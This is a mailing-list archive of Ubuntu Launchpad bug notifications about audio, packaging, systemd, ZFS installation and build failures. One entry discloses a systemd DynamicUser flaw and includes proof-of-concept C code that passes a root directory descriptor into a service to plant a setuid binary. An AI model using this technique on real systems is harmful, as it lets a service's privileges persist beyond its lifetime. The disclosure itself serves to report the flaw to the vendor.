   * This is an optional argument, not used by default. Currently custom
  sector-size crypttab does not work correctly, and thus cannot regress.

  [Other Info]
   
   * Original bug report

  Support fast clear key dm-crypt with 4k support

  Extend /etc/crypttab  to enable 4k sector support in plain mode

  The proposed enhancements are posted on github, see
   https://github.com/systemd/systemd/issues/8881

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-z-systems/+bug/1776626/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1711101] Re: Audio doesn't auto switch away from HDMI after unplugging HDMI

[Daniel van Vugt]

The upstream bug suggests this was fixed in PulseAudio 12.99.1, so
should be fixed in Ubuntu 19.10 now. Can anyone test that?

** Bug watch added: PulseAudio #185
   https://gitlab.freedesktop.org/pulseaudio/pulseaudio/issues/185

** Changed in: pulseaudio
   Importance: Medium => Unknown

** Changed in: pulseaudio
 Remote watch: freedesktop.org Bugzilla #96211 => PulseAudio #185

** Tags removed: artful

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1711101

Title:
  Audio doesn't auto switch away from HDMI after unplugging HDMI

Status in PulseAudio:
  Unknown
Status in pulseaudio package in Ubuntu:
  Triaged

Bug description:
  
  Steps to reproduce

  * Attach an external HDMI/DP monitor to watch videos on an external display 
(TV)
  * In sound settings, send audio to HDMI out, rather than internal laptop audio
  * Play a video, to show audio is going over HDMI
  * Unplug HDMI/DP cable
   - Video switches to internal panel only as expected.

  Expected behaviour

  * Audio switches to internal sound card

  Actual behaviour

  * Audio does not auto switch

  Workaround

  * Go to sound settings panel every time, and click the internal sound
  card

  Video showing it: https://www.youtube.com/watch?v=UR3LP0INMeI

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: pulseaudio 1:10.0-2ubuntu2
  ProcVersionSignature: Ubuntu 4.11.0-13.19-generic 4.11.12
  Uname: Linux 4.11.0-13-generic x86_64
  ApportVersion: 2.20.6-0ubuntu5
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  alan   1568 F pulseaudio
   /dev/snd/controlC1:  alan   1568 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Wed Aug 16 11:11:45 2017
  InstallationDate: Installed on 2017-08-02 (13 days ago)
  InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Alpha amd64 (20170712)
  SourcePackage: pulseaudio
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 01/27/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: JBET56WW (1.21 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 20BV001BUK
  dmi.board.vendor: LENOVO
  dmi.board.version: 0B98417 WIN
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: None
  dmi.modalias: 
dmi:bvnLENOVO:bvrJBET56WW(1.21):bd01/27/2016:svnLENOVO:pn20BV001BUK:pvrThinkPadT450:rvnLENOVO:rn20BV001BUK:rvr0B98417WIN:cvnLENOVO:ct10:cvrNone:
  dmi.product.name: 20BV001BUK
  dmi.product.version: ThinkPad T450
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/pulseaudio/+bug/1711101/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847527] Re: Backport systemd-journal-remote fix PR #11953

[Launchpad Bug Tracker]

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: systemd (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1847527

Title:
  Backport systemd-journal-remote fix PR #11953

Status in openstack-ansible:
  New
Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Confirmed

Bug description:
  I'm requesting that systemd 240 receive the fix in upstream PR 11953
  found here https://github.com/systemd/systemd/pull/11953

  This fixes remote journal shipping using systemd components. I believe
  only Disco (19.04) is impacted by this issue.

To manage notifications about this bug go to:
https://bugs.launchpad.net/openstack-ansible/+bug/1847527/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847527] Re: Backport systemd-journal-remote fix PR #11953

[Kevin Carter]

** Also affects: openstack-ansible
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1847527

Title:
  Backport systemd-journal-remote fix PR #11953

Status in openstack-ansible:
  New
Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Confirmed

Bug description:
  I'm requesting that systemd 240 receive the fix in upstream PR 11953
  found here https://github.com/systemd/systemd/pull/11953

  This fixes remote journal shipping using systemd components. I believe
  only Disco (19.04) is impacted by this issue.

To manage notifications about this bug go to:
https://bugs.launchpad.net/openstack-ansible/+bug/1847527/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847527] Re: Backport systemd-journal-remote fix PR #11953

[Bug Watch Updater]

** Changed in: systemd
   Status: Unknown => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1847527

Title:
  Backport systemd-journal-remote fix PR #11953

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  New

Bug description:
  I'm requesting that systemd 240 receive the fix in upstream PR 11953
  found here https://github.com/systemd/systemd/pull/11953

  This fixes remote journal shipping using systemd components. I believe
  only Disco (19.04) is impacted by this issue.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1847527/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1843733] Re: fftw3 ftbfs in eoan (armhf only)

[Bug Watch Updater]

** Changed in: fftw3
   Status: Unknown => New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to fftw3 in Ubuntu.
https://bugs.launchpad.net/bugs/1843733

Title:
  fftw3 ftbfs in eoan (armhf only)

Status in FFTW:
  New
Status in fftw3 package in Ubuntu:
  Confirmed
Status in fftw3 source package in Eoan:
  Confirmed

Bug description:
  fftw3 ftbfs in eoan (armhf only).

  https://launchpadlibrarian.net/441265031/buildlog_ubuntu-eoan-
  armhf.fftw3_3.3.8-2_BUILDING.txt.gz

  ( cd tests ; /usr/bin/make smallcheck )
  make[1]: Entering directory '/<>/tests'
  perl -w ./check.pl -r -c=1 -v `pwd`/bench
  Executing "/<>/tests/bench --verbose=1   --verify 
'ok7e10x12bv29' --verify 'ik7e10x12bv29' --verify '//obr2304' --verify 
'//ibr2304' --verify '//ofr2304' --verify '//ifr2304' --verify 'obr2304' 
--verify 'ibr2304' --verify 'ofr2304' --verify 'ifr2304' --verify '//obc2304' 
--verify '//ibc2304' --verify '//ofc2304' --verify '//ifc2304' --verify 
'obc2304' --verify 'ibc2304' --verify 'ofc2304' --verify 'ifc2304'"
  ok7e10x12bv29 1.71318e-07 1.44516e-06 2.00887e-07
  ik7e10x12bv29 1.66737e-07 1.44901e-06 1.76717e-07
  Segmentation fault (core dumped)
  FAILED /<>/tests/bench:  --verify 'ok7e10x12bv29' --verify 
'ik7e10x12bv29' --verify '//obr2304' --verify '//ibr2304' --verify '//ofr2304' 
--verify '//ifr2304' --verify 'obr2304' --verify 'ibr2304' --verify 'ofr2304' 
--verify 'ifr2304' --verify '//obc2304' --verify '//ibc2304' --verify 
'//ofc2304' --verify '//ifc2304' --verify 'obc2304' --verify 'ibc2304' --verify 
'ofc2304' --verify 'ifc2304'
  make[1]: *** [Makefile:723: smallcheck] Error 1
  make[1]: Leaving directory '/<>/tests'

To manage notifications about this bug go to:
https://bugs.launchpad.net/fftw3/+bug/1843733/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1814596] Re: DynamicUser can create setuid binaries when assisted by another process

[Alex Murray]

DynamicUser is only supported in systemd>=235 so this is not needed for
xenial, only bionic and disco.

** Also affects: systemd (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: systemd (Ubuntu Disco)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1814596

Title:
  DynamicUser can create setuid binaries when assisted by another
  process

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  New
Status in systemd source package in Disco:
  New

Bug description:
  [I am sending this bug report to Ubuntu as requested by systemd at
  
.]

  This bug report describes a bug in systemd that allows a service with
  DynamicUser in collaboration with another service or user to create a setuid
  binary that can be used to access its UID beyond the lifetime of the service.
  This bug probably has relatively low severity, given that there aren't many
  services yet that use DynamicUser, and the requirement of collaboration with
  another process limits the circumstances in which it would be useful to an
  attacker further; but in a system that makes heavy use of DynamicUser, it 
would
  probably have impact.

  

  says:

  In order to allow the service to write to certain directories, they have 
to
  be whitelisted using ReadWritePaths=, but care must be taken so that 
UID/GID
  recycling doesn't create security issues involving files created by the
  service.

  While I was chatting about DynamicUser with catern on IRC, I noticed that
  DynamicUser doesn't isolate the service from the rest of the system in terms 
of
  UNIX domain sockets; therefore, if a collaborating user passes a file 
descriptor
  to a world-writable path outside the service's mount namespace into the
  service, the service can then create setuid files that can be used by the
  collaborating user beyond the lifetime of the service.

  
  To reproduce:

  As a user:
  ==
  user@deb10:~$ mkdir systemd_uidleak
  user@deb10:~$ cd systemd_uidleak
  user@deb10:~/systemd_uidleak$ cat > breakout_assisted.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
setbuf(stdout, NULL);

// prepare unix domain socket
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
if (s < 0) err(1, "unable to create unix domain socket");
struct sockaddr_un addr = {
  .sun_family = AF_UNIX,
  .sun_path = "\0breakout"
};
if (bind(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8))
  err(1, "unable to bind abstract socket");
puts("waiting for connection from outside the service...");

// receive fd to somewhere under the real root
int len = sizeof(struct cmsghdr) + sizeof(int);
struct cmsghdr *hdr = alloca(len);
struct msghdr msg = {
  .msg_control = hdr,
  .msg_controllen = len
};
if (recvmsg(s, &msg, 0) < 0) err(1, "unable to receive fd");
if (hdr->cmsg_len != len || hdr->cmsg_level != SOL_SOCKET
|| hdr->cmsg_type != SCM_RIGHTS)
  errx(1, "got bad message");
puts("got rootfd from other chroot...");
if (fchdir(*(int*)CMSG_DATA(hdr))) err(1, "unable to change into real 
root");
char curpath[4096];
if (!getcwd(curpath, sizeof(curpath))) err(1, "unable to getpath()");
printf("chdir successful, am now in %s\n", curpath);

// create suid file
int src_fd = open("suid_src", O_RDONLY);
if (src_fd == -1) err(1, "open suid_src");
int dst_fd = open("suid_dst", O_RDWR|O_CREAT|O_EXCL, 0644);
if (dst_fd == -1) err(1, "open suid_dst");

while (1) {
  char buf[1000];
  ssize_t res = read(src_fd, buf, sizeof(buf));
  if (res == -1) err(1, "read");
  if (res == 0) break;
  ssize_t res2 = write(dst_fd, buf, res);
  if (res2 != res) err(1, "write");
}

if (fchmod(dst_fd, 04755)) err(1, "fchmod");
close(src_fd);
close(dst_fd);

// and that's it!
puts("done!");
while (1) pause();
return 0;
  }
  user@deb10:~/systemd_uidleak$ gcc -o breakout_assisted breakout_assisted.c 
  user@deb10:~/systemd_uidleak$ cat > breakout_helper.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
int rootfd = open(".", O_PATH);
if (rootfd < 0) err(1, "unable to open cwdfd");
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
if (s < 0) err(1, "unable to create unix domain socket");
struct sockaddr_un addr = {
  .sun_family = AF_UNIX,
  .sun_path

[Touch-packages] [Bug 1843768] Re: [FFe] Ubiquity with zfs install option

[Sean Davis]

** Also affects: xubuntu-meta (Ubuntu)
   Importance: Undecided
   Status: New

** Changed in: xubuntu-meta (Ubuntu)
 Assignee: (unassigned) => Sean Davis (bluesabre)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1843768

Title:
  [FFe] Ubiquity with zfs install option

Status in ubiquity package in Ubuntu:
  Fix Released
Status in ubuntu-budgie-meta package in Ubuntu:
  Fix Released
Status in ubuntu-mate-meta package in Ubuntu:
  Fix Released
Status in ubuntu-meta package in Ubuntu:
  Fix Released
Status in ubuntustudio-meta package in Ubuntu:
  Fix Released
Status in xubuntu-meta package in Ubuntu:
  New

Bug description:
  Part of the 19.10 feature announcement is zfs experimental support in
  the installer (https://ubuntu.com/blog/enhancing-our-zfs-support-on-
  ubuntu-19-10-an-introduction). We modified ubiquity to present an
  “EXPERIMENTAL” (with warning) ZSYS install option. This option is only
  visible is zfsutils-linux is installed on the system. So, it won't be
  available for derivatives that use ubiquity but do not seed zfsutils-
  linux.

  Update as of 20/09/2019: the plan is to not seed zsys (security review
  will take a while), but to only seed zfsutils-linux. People can then
  opt-in to zsys which should be available by default next cycle.

  This option takes an entire disk and have a fix set of dataset
  installed. There is no support but we need this to make an official
  install option for the next LTS.

  The patch has been created to be as minimal as possible. Partman does
  a full disk partitioning, and then the script zsys-setup the first
  non-ESP partition and replaces with zfs pools.

  4 partitions are created:
  1. if GPT partitioning: ESP partition. This one is done by partman directly.
  2. bpool (for boot), pool with older zfs compatible version to be readable by 
grub)
  3. rpool (for / and userdataset)
  4. /boot/grub (ext4) to contain a single grub (NOTE: this could be later on 
moved to the ESP)

  Additionaly if a swap file has been created by ubiquity, it is
  recreated as a ZFS volume. If the script fails to execute, the final
  installation is an ext4 installation on entire disk.

  Note that the implementation is slightly different from the
  specification due to a difficult cohabitation with partman in the
  custom partitioning page.

  Please find attached the MP on ubiquity as well as the package build
  log.

  https://launchpadlibrarian.net/442036321/buildlog_ubuntu-eoan-
  amd64.ubiquity_19.10.10~ppa1_BUILDING.txt.gz

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/1843768/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1845652] Re: rsync sends everything, not just changes

[Bryce Harrington]

Thanks for following up, I'm closing the issue as requested.

** Changed in: rsync (Ubuntu)
   Status: Incomplete => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to rsync in Ubuntu.
https://bugs.launchpad.net/bugs/1845652

Title:
  rsync sends everything, not just changes

Status in rsync package in Ubuntu:
  Invalid

Bug description:
  Repeated runs of rsync from PC to USB key send everything, not just
  the changes.

  This is reproducible.

  ProblemType: Bug
  DistroRelease: Ubuntu 19.04
  Package: rsync 3.1.3-6
  ProcVersionSignature: Ubuntu 5.0.0-29.31-generic 5.0.21
  Uname: Linux 5.0.0-29-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.10-0ubuntu27.1
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Fri Sep 27 09:18:19 2019
  InstallationDate: Installed on 2019-06-10 (109 days ago)
  InstallationMedia: Ubuntu 19.04 "Disco Dingo" - Release amd64 (20190416)
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: rsync
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/rsync/+bug/1845652/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847545] [NEW] libgdk-pixbuf2.0-dev multiarch conflict

[Benito van der Zander]

Public bug reported:

It is not possible to install libgdk-pixbuf2.0-dev:i386 and libgdk-
pixbuf2.0-dev:amd64 together:

# apt install libgtk2.0-dev:i386

...

Get:12 http://de.archive.ubuntu.com/ubuntu disco/main i386 gir1.2-gdkpixbuf-2.0 
i386 2.38.1+dfsg-1 [8.220 B]
Get:13 http://de.archive.ubuntu.com/ubuntu disco/universe i386 gir1.2-gtk-2.0 
i386 2.24.32-3ubuntu1 [172 kB]
Get:14 http://de.archive.ubuntu.com/ubuntu disco/main i386 libgdk-pixbuf2.0-dev 
i386 2.38.1+dfsg-1 [42,5 kB]

...

Selecting previously unselected package gir1.2-gdkpixbuf-2.0:i386.
(Reading database ... 286518 files and directories currently installed.)
Preparing to unpack .../00-gir1.2-gdkpixbuf-2.0_2.38.1+dfsg-1_i386.deb ...
Unpacking gir1.2-gdkpixbuf-2.0:i386 (2.38.1+dfsg-1) ...
Selecting previously unselected package gir1.2-gtk-2.0:i386.
Preparing to unpack .../01-gir1.2-gtk-2.0_2.24.32-3ubuntu1_i386.deb ...
Unpacking gir1.2-gtk-2.0:i386 (2.24.32-3ubuntu1) ...
Selecting previously unselected package libgdk-pixbuf2.0-dev:i386.
Preparing to unpack .../02-libgdk-pixbuf2.0-dev_2.38.1+dfsg-1_i386.deb ...
Unpacking libgdk-pixbuf2.0-dev:i386 (2.38.1+dfsg-1) ...
dpkg: error processing archive 
/tmp/apt-dpkg-install-HqtTOL/02-libgdk-pixbuf2.0-dev_2.38.1+dfsg-1_i386.deb 
(--unpack):
 trying to overwrite shared '/usr/share/gir-1.0/GdkPixbuf-2.0.gir', which is 
different from other instances of package libgdk-pixbuf2.0-dev:i386

I need this for cross compiling

** Affects: gdk-pixbuf (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gdk-pixbuf in Ubuntu.
https://bugs.launchpad.net/bugs/1847545

Title:
  libgdk-pixbuf2.0-dev multiarch conflict

Status in gdk-pixbuf package in Ubuntu:
  New

Bug description:
  It is not possible to install libgdk-pixbuf2.0-dev:i386 and libgdk-
  pixbuf2.0-dev:amd64 together:

  # apt install libgtk2.0-dev:i386

  ...

  Get:12 http://de.archive.ubuntu.com/ubuntu disco/main i386 
gir1.2-gdkpixbuf-2.0 i386 2.38.1+dfsg-1 [8.220 B]
  Get:13 http://de.archive.ubuntu.com/ubuntu disco/universe i386 gir1.2-gtk-2.0 
i386 2.24.32-3ubuntu1 [172 kB]
  Get:14 http://de.archive.ubuntu.com/ubuntu disco/main i386 
libgdk-pixbuf2.0-dev i386 2.38.1+dfsg-1 [42,5 kB]

  ...

  Selecting previously unselected package gir1.2-gdkpixbuf-2.0:i386.
  (Reading database ... 286518 files and directories currently installed.)
  Preparing to unpack .../00-gir1.2-gdkpixbuf-2.0_2.38.1+dfsg-1_i386.deb ...
  Unpacking gir1.2-gdkpixbuf-2.0:i386 (2.38.1+dfsg-1) ...
  Selecting previously unselected package gir1.2-gtk-2.0:i386.
  Preparing to unpack .../01-gir1.2-gtk-2.0_2.24.32-3ubuntu1_i386.deb ...
  Unpacking gir1.2-gtk-2.0:i386 (2.24.32-3ubuntu1) ...
  Selecting previously unselected package libgdk-pixbuf2.0-dev:i386.
  Preparing to unpack .../02-libgdk-pixbuf2.0-dev_2.38.1+dfsg-1_i386.deb ...
  Unpacking libgdk-pixbuf2.0-dev:i386 (2.38.1+dfsg-1) ...
  dpkg: error processing archive 
/tmp/apt-dpkg-install-HqtTOL/02-libgdk-pixbuf2.0-dev_2.38.1+dfsg-1_i386.deb 
(--unpack):
   trying to overwrite shared '/usr/share/gir-1.0/GdkPixbuf-2.0.gir', which is 
different from other instances of package libgdk-pixbuf2.0-dev:i386

  I need this for cross compiling

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gdk-pixbuf/+bug/1847545/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847543] [NEW] libatk1.0-dev multiarch conflict

[Benito van der Zander]

Public bug reported:

It is not possible to install libatk1.0-dev:i386 and libatk1.0-dev:amd64
together:

# apt install libatk1.0-dev:i386
Reading package lists... Done
Building dependency tree   
Reading state information... Done
The following additional packages will be installed:
  gir1.2-atk-1.0:i386
The following NEW packages will be installed:
  gir1.2-atk-1.0:i386 libatk1.0-dev:i386
0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded.
Need to get 109 kB of archives.
After this operation, 1.370 kB of additional disk space will be used.
Do you want to continue? [Y/n] Y
Get:1 http://de.archive.ubuntu.com/ubuntu disco/main i386 gir1.2-atk-1.0 i386 
2.32.0-1 [18,0 kB]
Get:2 http://de.archive.ubuntu.com/ubuntu disco/main i386 libatk1.0-dev i386 
2.32.0-1 [91,3 kB]
Fetched 109 kB in 0s (457 kB/s)  
Selecting previously unselected package gir1.2-atk-1.0:i386.
(Reading database ... 295431 files and directories currently installed.)
Preparing to unpack .../gir1.2-atk-1.0_2.32.0-1_i386.deb ...
Unpacking gir1.2-atk-1.0:i386 (2.32.0-1) ...
Selecting previously unselected package libatk1.0-dev:i386.
Preparing to unpack .../libatk1.0-dev_2.32.0-1_i386.deb ...
Unpacking libatk1.0-dev:i386 (2.32.0-1) ...
dpkg: error processing archive 
/var/cache/apt/archives/libatk1.0-dev_2.32.0-1_i386.deb (--unpack):
 trying to overwrite shared '/usr/share/gir-1.0/Atk-1.0.gir', which is 
different from other instances of package libatk1.0-dev:i386
Errors were encountered while processing:
 /var/cache/apt/archives/libatk1.0-dev_2.32.0-1_i386.deb
E: Sub-process /usr/bin/dpkg returned an error code (1)


I need this for cross compiling

** Affects: atk1.0 (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to atk1.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1847543

Title:
  libatk1.0-dev multiarch conflict

Status in atk1.0 package in Ubuntu:
  New

Bug description:
  It is not possible to install libatk1.0-dev:i386 and
  libatk1.0-dev:amd64 together:

  # apt install libatk1.0-dev:i386
  Reading package lists... Done
  Building dependency tree   
  Reading state information... Done
  The following additional packages will be installed:
gir1.2-atk-1.0:i386
  The following NEW packages will be installed:
gir1.2-atk-1.0:i386 libatk1.0-dev:i386
  0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded.
  Need to get 109 kB of archives.
  After this operation, 1.370 kB of additional disk space will be used.
  Do you want to continue? [Y/n] Y
  Get:1 http://de.archive.ubuntu.com/ubuntu disco/main i386 gir1.2-atk-1.0 i386 
2.32.0-1 [18,0 kB]
  Get:2 http://de.archive.ubuntu.com/ubuntu disco/main i386 libatk1.0-dev i386 
2.32.0-1 [91,3 kB]
  Fetched 109 kB in 0s (457 kB/s)  
  Selecting previously unselected package gir1.2-atk-1.0:i386.
  (Reading database ... 295431 files and directories currently installed.)
  Preparing to unpack .../gir1.2-atk-1.0_2.32.0-1_i386.deb ...
  Unpacking gir1.2-atk-1.0:i386 (2.32.0-1) ...
  Selecting previously unselected package libatk1.0-dev:i386.
  Preparing to unpack .../libatk1.0-dev_2.32.0-1_i386.deb ...
  Unpacking libatk1.0-dev:i386 (2.32.0-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/libatk1.0-dev_2.32.0-1_i386.deb (--unpack):
   trying to overwrite shared '/usr/share/gir-1.0/Atk-1.0.gir', which is 
different from other instances of package libatk1.0-dev:i386
  Errors were encountered while processing:
   /var/cache/apt/archives/libatk1.0-dev_2.32.0-1_i386.deb
  E: Sub-process /usr/bin/dpkg returned an error code (1)

  
  I need this for cross compiling

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/atk1.0/+bug/1847543/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1844422] Re: WPA3-SAE support

[Launchpad Bug Tracker]

This bug was fixed in the package gnome-shell - 3.34.1-1ubuntu1

---
gnome-shell (3.34.1-1ubuntu1) eoan; urgency=medium

  * Merge with Debian. Remaining changes:
+ Replace gnome-backgrounds dep with ubuntu-wallpapers and Suggests
  gnome-themes-standard-data, gnome-backgrounds
+ Add some Recommends:
  - ubuntu-session (| gnome-session) to have the ubuntu session available
  - xserver-xorg-legacy
  - yaru-theme-gnome-shell for the default ubuntu theming
+ Update debian/gbp.conf with Ubuntu settings
+ gnome-shell-common.install: Install Ubuntu mode
+ gnome-shell-common.prerm: Remove deprecated ubuntu theme alternative
+ ubuntu/desktop_detect.patch:
  - add caching for desktop detection to avoid querying the current
desktop env variable as iterate through the list each time. For the
time of the Shell process, we can expect this env variable to stay
stable.
+ ubuntu/smarter_alt_tab.patch:
  - quick alt-tab (without showing up the switcher) switch only between
the last window of the last 2 applications to be focused instead of
raising all windows of those apps.
+ ubuntu/lightdm-user-switching.patch:
  - Allow user switching when using LightDM.
+ ubuntu/lock_on_suspend.patch
  - Respect Ubuntu's lock-on-suspend setting.
+ ubuntu/gdm.patch
  - as gdm is system-wide and not session-wide, ensure gdm has an ubuntu
styling by default, not impacting the gnome user session though.
+ ubuntu/background_login.patch
  - Change default background color as we modified the default GDM color
for our ubuntu session. Change it as well here, still applying the
background noise loading.
+ ubuntu/gdm_alternatives.patch
  - Add support for GDM3 theme alternatives
+ optional-hot-corner.patch
  - enable patch proposed by upstream developer already in package (but
not in series) to add a settings for optional hot corner activation.
+ volume-Add-back-sound-feedback-on-scroll.patch
  - Fix regression causing missing feedback on volume slider scroll
+ main-show-an-error-message-on-gnome-shell-crash.patch,
  global-make-possible-to-set-debug-flags-dynamically.patch,
  main-increase-the-granularity-of-backtraces-in-SHELL_DEBU.patch,
  main-add-backtrace-crashes-all-and-backtrace-all.patch,
  sessionMode-add-support-for-debugFlags-parameter.patch:
  - Improve debug JS tracing for crash reports
+ st-scroll-view-Handle-the-case-where-scrollbars-are-NULL.patch,
  st-scroll-view-Remove-scrollbars-references-on-dispose.patch:
  - Fix crash on theme changes
+ ubuntu/search-call-XUbuntuCancel-method-on-providers-when-no-dat.patch:
  - stop searches when requested from UI
+ magnifier-Show-cursor-when-magnifier-is-enabled-and-scale.patch:
  - Show monitor scaled cursor when magnifier is enabled
  * Refresh patches through gbp-pq

gnome-shell (3.34.1-1) unstable; urgency=medium

  * New upstream release
+ Allow editing app folder names
+ Do not notify systemd before initialization is complete
+ Don't leak NOTIFY_SOCKET environment variable to applications
+ Fix accidentally skipped animations
+ Fix box-shadow glitch with prerendered resources
+ Fix desktop right click menu appearing in the wrong place if a Terminal
  window is open (LP: #1842910)
+ Fix extra icons appearing in "Frequent" view animation
+ Fix fading out desktop icons (Closes: #940612)
+ Fix "Frequent" view icons disappearing on hover (LP: #1846083)
+ Fix lock-up on X11 when ibus is already running on startup (LP:
  #1845198)
+ Fix screen dimming on idle (LP: #1846941)
+ Fix screenshots and window animations when scaled
+ Fix various regressions with dynamic workspaces
+ Improve performance when enabling/disabling all extensions
+ Make menu animations more consistent
+ Skip property transitions while hidden
+ Support SAE secrets in network agent (LP: #1844422)
  * control: Require mutter 3.34.1

 -- Iain Lane   Wed, 09 Oct 2019 12:18:14 +0100

** Changed in: gnome-shell (Ubuntu)
   Status: Triaged => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1844422

Title:
  WPA3-SAE support

Status in gnome-shell package in Ubuntu:
  Fix Released
Status in network-manager package in Ubuntu:
  Incomplete

Bug description:
  After some user feedback WPA3 support for NetworkManager has been
  finalized upstream:

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e1608030c6614d8dfd86122e9df81fdaad9453c9

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/84a86ce55f1e70cb32217d2c74242ff848db8cd7

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/merge_requests/276/diffs?commit_id=8d449

[Touch-packages] [Bug 1834566] Re: Samsung Notebook 9 Pro - Internal Speaker Playback problem - HDA Intel - Realtek ALC298

[Jason Gralinski]

Same issue on Ubuntu 18.04 and 19.04.

I tested multiple Arch distros as well and ran into the same issue.

Sound through headphones and internal speakers is absent, USBC to
Headphone does work.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to alsa-driver in Ubuntu.
https://bugs.launchpad.net/bugs/1834566

Title:
  Samsung Notebook 9 Pro - Internal Speaker Playback problem - HDA Intel
  - Realtek ALC298

Status in alsa-driver package in Ubuntu:
  Confirmed

